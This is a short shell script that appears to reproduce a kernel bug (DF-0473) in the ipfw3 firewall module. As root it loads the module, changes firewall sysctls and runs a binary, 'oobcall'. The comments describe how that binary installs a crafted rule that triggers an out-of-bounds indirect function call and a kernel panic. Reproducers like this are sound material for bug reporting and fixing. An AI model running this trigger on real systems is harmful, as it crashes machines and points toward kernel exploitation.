#!/bin/sh
# DF-0473 run: load ipfw3, disable filtering, run the OOB-index trigger.
# MUST run as root (raw socket + ipfw3 ctl path).  Installs a CORRECTLY-SIZED
# rule (cmd_len=2) whose cmd[0] has module=0x80 opcode=0x80, enables the
# firewall, sends one UDP packet -> ip_fw3_chk -> filter_funcs[0x80][0x80]
# -> out-of-bounds indirect function call -> kernel panic.
cd "$(dirname "$0")"
sysctl net.filters_default_to_accept=1 >/dev/null 2>&1 || true
kldload ipfw3 2>/dev/null || true
sysctl net.inet.ip.fw3.enable=0 >/dev/null 2>&1
echo "=== DF-0473 OOB-index indirect-call reproduction (expect kernel panic) ==="
./oobcall
echo "oobcall_rc=$?"